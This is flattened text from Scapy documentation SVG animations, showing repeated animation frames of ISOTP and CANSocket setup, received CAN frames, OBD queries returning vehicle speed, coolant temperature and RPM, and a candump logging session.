did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP), ...: ISOTPSocket("vcan0", sid=0x709, did=0x707, padding=True, basecls=ISOTP) ...: ISOTPSocket("vcan0", sid=0x709, did=0x707, padding=True, basecls=ISOTP), ...: ISOTPSocket("vcan0", sid=0x71c, did=0x788, padding=False, basecls=ISOTP) ...: ISOTPSocket("vcan0", sid=0x71c, did=0x788, padding=False, basecls=ISOTP), ...: ISOTPSocket("vcan0", sid=0x799, did=0x745, padding=True, basecls=ISOTP) ...: ISOTPSocket("vcan0", sid=0x799, did=0x745, padding=True, basecls=ISOTP), ...: ISOTPSocket("vcan0", sid=0x7aa, did=0x703, padding=True, basecls=ISOTP) ...: ISOTPSocket("vcan0", sid=0x7aa, did=0x703, padding=True, basecls=ISOTP), ...: ISOTPSocket("vcan0", sid=0x7cc, did=0x7bb, padding=False, basecls=ISOTP) ...: ISOTPSocket("vcan0", sid=0x7cc, did=0x7bb, padding=False, basecls=ISOTP), ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP), ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP), ...: ISOTPSocket("vcan0", sid=0x7cc, did=0x7bb, padding=False, basecls=ISOTP)] ...: ...: conf.contribs['CANSocket'] = {'use-python-can': False} ...: load_contrib('cansocket') ...: ISOTPSocket("vcan0", sid=0x709, did=0x707, padding=True, basecls=ISOTP), ...: ISOTPSocket("vcan0", sid=0x71c, did=0x788, padding=False, basecls=ISOTP), ...: ISOTPSocket("vcan0", sid=0x799, did=0x745, padding=True, basecls=ISOTP), ...: ISOTPSocket("vcan0", sid=0x7aa, did=0x703, padding=True, basecls=ISOTP), ...: ISOTPSocket("vcan0", sid=0x7cc, did=0x7bb, padding=False, basecls=ISOTP)] INFO: Use native CANSocket. Specify 'conf.contribs['CANSocket'] = {'use-python-can': True}' to enable python-can. >>> s >>> so >>> soc >>> sock >>> socks >>> socks [<<ISOTPNativeSocket: read/write packets at a given CAN interface using CAN_ISOTP socket > at 0x7f91d3e18a50>, <<ISOTPNativeSocket: read/write packets at a given CAN interface using CAN_ISOTP socket > at 0x7f91e65ad5d0>, <<ISOTPNativeSocket: read/write packets at a given CAN interface using CAN_ISOTP socket > at 0x7f91e65addd0>, <<ISOTPNativeSocket: read/write packets at a given CAN interface using CAN_ISOTP socket > at 0x7f91e65ad850>, <<ISOTPNativeSocket: read/write packets at a given CAN interface using CAN_ISOTP socket > at 0x7f91e65bb590>, <<ISOTPNativeSocket: read/write packets at a given CAN interface using CAN_ISOTP socket > at 0x7f91e654b2d0>]>>> e >>> ex >>> exi >>> exit user@system ~> echo "if you are lazy, get a copy and paste ready output" user@system ~> exit user@system ~> exit user@system ~> exit >>> exit user@system ~> exit scapy-2.4.4/doc/scapy/graphics/animations/animation-scapy-native-cansocket.svg000077500000000000000000003637311372370053500275640ustar00rootroot00000000000000 >>> >>> I-search backward: >>> sock.recv() I-search backward: c >>> load_contrib("cansocket") I-search backward: co >>> load_contrib("cansocket") I-search backward: con >>> conf.contribs['CANSocket'] = {'use-python-can': False} I-search backward: conf >>> conf.contribs['CANSocket'] = {'use-python-can': False} >>> conf.contribs['CANSocket'] = {'use-python-can': False} I-search backward: l >>> load_contrib("cansocket") I-search backward: lo >>> load_contrib("cansocket") I-search backward: loa INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). aSPY//YASa apyyyyCY//////////YCa | sY//////YSpcs scpCY//Pp | Welcome to Scapy ayp ayyyyyyySCP//Pp syY//C | Version 2.4.0.dev689 AYAsAYYYYYYYY///Ps cY//S | pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy SPPPP///a pP///AC//Y | A//A cyP////C | Have fun! p///Ac sC///a | P////YCpc A//A | To craft a packet, you have to be a scccccp///pSP///p p//Y | packet, and learn how to swim in sY/////////y caa S//P | the wires and in the waves. cayCyayP//Ya pY/Ya | -- Jean-Claude Van Damme sY/PsY////YCc aC//Yp | sc sccaCY//PCypaapyCP//YSs spCPY//////YPSps ccaacs using IPython 7.1.1>>> conf.contribs['CANSocket'] = {'use-python-can': False} >>> load_contrib("cansocket") >>> load_contrib("cansocket") INFO: Use native CANSocket. Specify 'conf.contribs['CANSocket'] = {'use-python-can': True}' to enable python-can.>>> load_contrib("cansocket") I-search backward: s >>> load_contrib("cansocket") I-search backward: so >>> load_contrib("cansocket") I-search backward: soc >>> load_contrib("cansocket") I-search backward: sock >>> sock = CANSocket("vcan0", can_filters=[{'can_id':0x100 | CAN_INV_FILTER, 'caI-search backward: sock >>> sock = CANSocket("vcan0", can_filters=[{'can_id':0x100 | CAN_INV_FILTER, 'ca...: n_mask': 0x700}]) I-search backward: sock = >>> sock = CANSocket("vcan0", can_filters=[{'can_id':0x100, 'can_mask': 0x700}])...: >>> sock = CANSocket("vcan0") >>> sock = CANSocket("vcan0") >>> s >>> so >>> soc >>> sock >>> sock. >>> sock.r >>> sock.re >>> sock.rec >>> sock.recv >>> sock.recv( >>> sock = CANSocket("vcan0") >>> sock.recv() >>> sock.recv() <CAN flags= identifier=0x46e length=5 reserved=0 data="d\x056'\x99" |> <CAN flags= identifier=0x4b6 length=8 reserved=0 data='\xadj\xe8A,\xc4\x7f\x05' |>>>> sock = CANSocket("vcan0") >>> load_contrib("cansocket") <CAN flags= identifier=0x759 length=4 reserved=0 data='\xaa\x87/h' |> >>> sock.recv() >>> sock.recv() >>> sock.recv() >>> sock.recv() >>> sock = CANSocket("vcan0") >>> sock = CANSocket("vcan0") I-search backward: sock = >>> sock = CANSocket("vcan0") I-search backward: sock = C >>> sock = CANSocket("vcan0") I-search backward: sock = CA >>> sock = CANSocket("vcan0") I-search backward: sock = CAN >>> sock = CANSocket("vcan0", can_filters=[{'can_id':0x100 | CAN_INV_FILTER, 'ca>>> sock = CANSocket("vcan0", can_filters=[{'can_id':0x100, 'can_mask': 0x700}])>>> sock = CANSocket("vcan0", can_filters=[{'can_id':0x100, 'can_mask': 0x700}])>>> sock = CANSocket("vcan0", can_filters=[{'can_id':0x100, 'can_mask': 0x700}])>>> sock = CANSocket("vcan0", can_filters=[{'can_id':0x100, 'can_mask': 0x700}])...: <CAN flags= identifier=0x1f9 length=8 reserved=0 data='\xa1\x8eQ\x0cw\xcakz' |><CAN flags= identifier=0x14d length=8 reserved=0 data='\xd2\x8fUd\xb7`\xe7\x02'<CAN flags= identifier=0x122 length=3 reserved=0 data='O\x18\xe4' |> <CAN flags= identifier=0x1ff length=6 reserved=0 data='8l\r}p1' |> <CAN flags= identifier=0x144 length=8 reserved=0 data='\xd8\xff\x8dki\xd9_h' |>>>> sock = CANSocket("vcan0", can_filters=[{'can_id':0x100, 'can_mask': 0x700}])I-search: sock >>> sock = CANSocket("vcan0", can_filters=[{'can_id':0x100 | CAN_INV_FILTER, 'ca>>> sock = CANSocket("vcan0", can_filters=[{'can_id':0x100 | CAN_INV_FILTER, 'ca...: n_mask': 0x700}]) >>> sock = CANSocket("vcan0", can_filters=[{'can_id':0x100 | CAN_INV_FILTER, 'ca<CAN flags= identifier=0x4e length=3 reserved=0 data='\xbf^\x8e' |> <CAN flags= identifier=0x26e length=7 reserved=0 data='G\x0e\xd7Zu\x90?' |> <CAN flags= identifier=0x20e length=8 reserved=0 data='\xc4\xfb,t\xa8\x0ek\x13'<CAN flags= identifier=0x599 length=3 reserved=0 data='\xf5k\x84' |> <CAN flags= identifier=0x69 length=8 reserved=0 data='PU\xfam\xba\x86\xc9 ' |> >>> scapy-2.4.4/doc/scapy/graphics/animations/animation-scapy-obd.svg000077500000000000000000007631431372370053500250730ustar00rootroot00000000000000 >>> >>> I-search backward: >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() I-search backward: c >>> load_contrib("isotp") I-search backward: co >>> load_contrib("isotp") I-search backward: con >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} I-search backward: conf >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} I-search backward: i >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} I-search backward: is >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} I-search backward: iso >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} I-search backward: isot >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} I-search backward: isotp >>> load_contrib("isotp") I-search backward: isotp" >>> load_contrib("isotp") >>> load_contrib("isotp") I-search backward: o >>> load_contrib("automotive.obd.obd") I-search backward: ob >>> load_contrib("automotive.obd.obd") I-search backward: obd >>> load_contrib("automotive.obd.obd") INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). aSPY//YASa apyyyyCY//////////YCa | sY//////YSpcs scpCY//Pp | Welcome to Scapy ayp ayyyyyyySCP//Pp syY//C | Version 2.4.0.dev706 AYAsAYYYYYYYY///Ps cY//S | pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy SPPPP///a pP///AC//Y | A//A cyP////C | Have fun! p///Ac sC///a | P////YCpc A//A | Craft me if you can. scccccp///pSP///p p//Y | -- IPv6 layer sY/////////y caa S//P | cayCyayP//Ya pY/Ya sY/PsY////YCc aC//Yp sc sccaCY//PCypaapyCP//YSs spCPY//////YPSps ccaacs using IPython 7.1.1>>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} >>> load_contrib("isotp") >>> load_contrib("automotive.obd.obd") >>> load_contrib("isotp") I-search backward: s >>> load_contrib("isotp") I-search backward: so >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() I-search backward: soc >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() I-search backward: sock >>> sock = ISOTPNativeSocket("can0", did=0x7e8, sid=0x7e0, padding=True, basecls=OBD) I-search backward: sock >>> sock = ISOTPNativeSocket("can0", did=0x7e8, sid=0x7e0, padding=True, basecls=OBD) I-search backward: sock = >>> sock = ISOTPNativeSocket("can0", did=0x7e8, sid=0x7e0, padding=True, basecls=OBD) I-search backward: sock = >>> sock = ISOTPNativeSocket("can0", did=0x7e8, sid=0x7e0, padding=True, basecls=OBD) >>> sock = ISOTPNativeSocket("can0", did=0x7e8, sid=0x7e0, padding=True, basecls=OBD) >>> sock = ISOTPNativeSocket("can0", did=0x7e8, sid=0x7e0, padding=True, basecls=OBD) >>> sock = ISOTPNativeSocket("can0", did=0x7e8, sid=0x7e0, padding=True, basecls=OBD) >>> sock = ISOTPNativeSocket("can0", did=0x7e8, sid=0x7e0, padding=True, basecls=OBD) >>> sock = ISOTPNativeSocket("can0", did=0x7e8, sid=0x7e0, padding=True, basecls=OBD) >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() I-search backward: sock. I-search backward: sock.s >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(id=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x),verbose=False).show() ###[ On-board diagnostics ]### service= VehicleInformationResponse###[ S9_VehicleInformationPositiveResponse ]### iid= 0x0###[ IID_00_Service9SupportedInformationTypes ]### supported_iids= IID0A+IID08+IID06+IID04+IID02>>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0xa),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S09(iid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S0(pid=0x0),verbose=False).show() iid= 0xa###[ IID_0A_EcuName ]### count= 1 ecu_names= ['ECM\x00-EngineControl']>>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x0),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x),verbose=False).show() service= CurrentPowertrainDiagnosticDataResponse###[ Parameter IDs ]### \data_records\ |###[ OBD_S01_PID_Record ]### | pid= 0x0 |###[ PID_00_PIDsSupported ]### | supported_pids= PID20+PID1F+PID1C+PID15+PID14+PID13+PID11+PID10+PID0F+PID0E+PID0D+PID0C+PID0B+PID0A+PID07+PID06+PID05+PID04+PID03+PID01>>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0x5),verbose=False).show() | pid= 0x5 |###[ PID_05_EngineCoolantTemperature ]### | data= 19.0 deg. C>>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xD),verbose=False).show() | pid= 0xd |###[ PID_0D_VehicleSpeed ]### | data= 0 km/h>>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xE),verbose=False).show() | pid= 0xe |###[ PID_0E_TimingAdvance ]### | data= 3.0 deg.>>> sock.sr1(OBD()/OBD_S01(pid=0xC),verbose=False).show() >>> sock.sr1(OBD()/OBD_S01(pid=0xC),verbose=False).show() | pid= 0xc |###[ PID_0C_EngineRpm ]### | data= 0.0 min-1>>> scapy-2.4.4/doc/scapy/graphics/animations/animation-scapy-rdcandump.svg000077500000000000000000003042511372370053500262730ustar00rootroot00000000000000 [0] 0:bash* "scapy " 07:47 23-Jan-19[cars@scapy folders 2019]$ [cars@scapy folders 2019]$ c [cars@scapy folders 2019]$ ca [cars@scapy folders 2019]$ can [cars@scapy folders 2019]$ cand [cars@scapy folders 2019]$ candu [cars@scapy folders 2019]$ candump [cars@scapy folders 2019]$ candump - [cars@scapy folders 2019]$ candump -l [cars@scapy folders 2019]$ candump -l [cars@scapy folders 2019]$ candump -l v [cars@scapy folders 2019]$ candump -l vc [cars@scapy folders 2019]$ candump -l vca [cars@scapy folders 2019]$ candump -l vcan [cars@scapy folders 2019]$ candump -l vcan0 [0] 0:bash* "cars@scapy :~/repos/t" 07:47 23-Jan-19^C[cars@scapy folders 2019]$ ^C[cars@scapy folders 2019]$ c [0] 0:candump* "cars@scapy :~/repos/t" 07:47 23-Jan-19^C[cars@scapy folders 2019]$ ca ^C[cars@scapy folders 2019]$ can ^C[cars@scapy folders 